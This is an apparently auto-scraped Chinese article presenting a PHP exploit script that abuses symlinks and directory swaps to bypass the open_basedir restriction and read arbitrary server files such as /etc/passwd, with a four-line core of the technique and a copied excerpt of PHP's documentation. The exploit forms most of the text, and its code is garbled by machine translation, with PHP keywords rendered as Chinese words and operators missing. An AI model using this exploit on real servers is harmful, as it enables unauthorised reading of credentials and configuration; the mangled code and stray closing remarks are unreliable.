手机版

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

时间:2021-10-14 来源:互联网 编辑:宝哥软件园 浏览:

漏洞很久之前(大概5年前)被提出来了,但并不是服务器端编程语言(专业超文本预处理器的缩写)代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来亚森告诉我的,他测试了好像5.5都可以。

漏洞详情在这里http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

复制代码代码如下:PHP/* *作者:phithon *来自//www。JB 51。net * detail : http://cxsecurity。com/issue/WLB-2009110068 */header(' content-type : text/plain ');error _ reporting(-1);ini_set('display_errors ',真);printf(' open _ basedir :% s \ nphp _ version :% s \ n ',ini_get('open_basedir '),phpversion());printf(' disable _ functions 3360% s \ n ',ini _ get(' disable _ functions '));$file=str_replace('\\ ','/',isset($_REQUEST['file'])?$ _ REQUEST[' file ']: '/etc/passwd ');$ relat _ FIle=GetRelativePath(_ _ FIle _ _,$ FIle);$ path=explode('/',$ file);$ name=mt _ rand()% 999;$ exp=GetRandStr();mkdir($ name);chdir($ name);for($ I=1;$ I count($ path)-1;$ I){ mkdir($ path[$ I]);chdir($ path[$ I]);} mkdir($ path[$ I]);for($ I-=1;$ I 0;$i - ) { chdir(' . ');} $ path=explode('/',$ relat _ file);$ j=0;对于($ I=0;$ path[$ I]==' . ';$ I){ mkdir($ name);chdir($ name);$ j;} for($ I=0;$ I=$ j;$i ) { chdir(' . ');}$tmp=array_fill(0,$j 1,$ name);符号链接(内爆('/',$tmp),' tmplink ');$tmp=array_fill(0,$j,'.');symlink('tmplink/' .内爆('/',$tmp).$file,$ exp);取消链接(“tmplink”);mkdir(' tmplink ');del文件($ name);$ exp=目录名($ _ SERVER[' SCRIPT _ NAME '])./{ $ exp } ';$ exp=' http://{ $ _ SERVER[' SERVER _ NAME ']} { $ exp } ';回声\n -内容-\ n \ n ';echo file _ get _ contents($ exp);delfile(' tmplink ');

函数getRelativePath($from,$ to){//Windows路径$from=rtrim($from,/')的一些兼容性修复。'/';$from=str_replace('\\ ','/',$ from);$to=str_replace('\\ ','/',$ to);

$from=explode('/',$ from);$to=explode('/',$ to);$ relPath=$ to

foreach($from as $depth=$dir) { //查找第一个不匹配的dir if($ dir==$ to[$ depth]){//忽略此目录array _ shift($ RelPath);} else { //获取剩余目录的数量到$从$剩余=count($ from)-$ depth;if($剩余1) { //添加遍历直到第一个匹配的dir $ padLength=(count($ RelPath)$剩余-1)*-1;$relPath=array_pad($relPath,$padLength,'.');打破;} else { $relPath[0]=' ./' .$ RelPath[0];} } }返回inquire de('/',$ RelPath);}

函数del file($ deldir){ if(@ is _ file($ deldir)){ @ chmod($ deldir,0777);return @ unlink($ deldir);} else if(@ is _ dir($ deldir)){ if(($ mydir=@ opendir($ deldir))==NULL)返回falsewhile(false!==($ File=@ readdir($ mydir)){ $ name=File _ Str($ deldir).'/'.$ file);if(($file!='.')($file!='.')){ del file($ name);} } @ closedir($ mydir);@chmod($deldir,0777);return @rmdir($deldir)?真:假;}}

函数file _ Str($ string){ return Str _ replace('//','/',str_replace('\\ ','/',$ string));}

函数getRandStr($ length=6){ $ chars=' abcdefghijklmnopqrstuvwxyzabbcdefghijklmnopqrstuvwxyz 0123456789 ';$ randStr=for($ I=0;一美元长度;$i ) { $randStr .=substr($chars,mt_rand(0,strlen($chars) - 1),1);}返回$ randStr}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件经历指向x/./././etc/passwd。

其实指向的就是a/a/a/a/./././etc/passwd,其实就是/etc/passwd。

这时候删除x,再创建一个x目录,但经历还是指向x/./././etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:复制代码代码如下:symlink('abc/abc/abc/abc ',' tmplink ');symlink('tmplink/./././etc/passwd ',' exploit ');取消链接(“tmplink”);mkdir(' tmplink ');

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的效果就是绕过了open_basedir读取任意文件。

错误不在php,但我不知道是谁的错,所以php从来没有处理过这个问题。

open_basedir

将PHP可以打开的文件限制在指定的目录树中,包括文件本身。安全模式的开启或关闭不会影响该指令。

当脚本试图用例如fopen()或gzopen()打开文件时,将检查文件的位置。当文件在指定的目录树之外时,PHP将拒绝打开该文件。的所有符号连接都将被解析,因此不可能通过符号连接来避免这种限制。

特殊价值。指示脚本的工作目录将用作基目录。但是,这很危险,因为chdir()可以轻松更改脚本的工作目录。

在httpd.conf文件中,open_basedir可以像任何其他配置选项一样通过“PHP _ admin _ value open _ basedir none”方法关闭(例如,在某些虚拟主机中)。

在Windows中,用分号分隔目录。在任何其他系统中用冒号分隔目录。作为一个Apache模块,父目录中的open_basedir路径是自动继承的。

用open_basedir指定的限制实际上是前缀,而不是目录名。也就是说,“open _ basedir=/dir/include”也允许访问“/dir/include”和“/dir/include”如果它们存在的话。如果要限制只能访问指定的目录,请用斜线结束路径名。示例:“open _ basedir=/dir/include/”。

注释:

3.0.7中添加了多个支持的目录。

默认情况下,允许打开所有文件。

我已经在我的VPS(php5.3.28 nginx)和树莓Pi (php 5.4.4 nginx)上测试过了,并且读得很成功。

树莓皮试验:

与5.3 XML中的漏洞(不能读取很多文件)相比,成功率相对稳定,可以读取很多文件。而且不需要版本,有害。

前几天试过这个脚本,apache也能看。当时看了kali机的/etc/httpd/conf/httpd.conf,但是一无所获。

发现没有边站,流量通过网关转发。

版权声明:PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。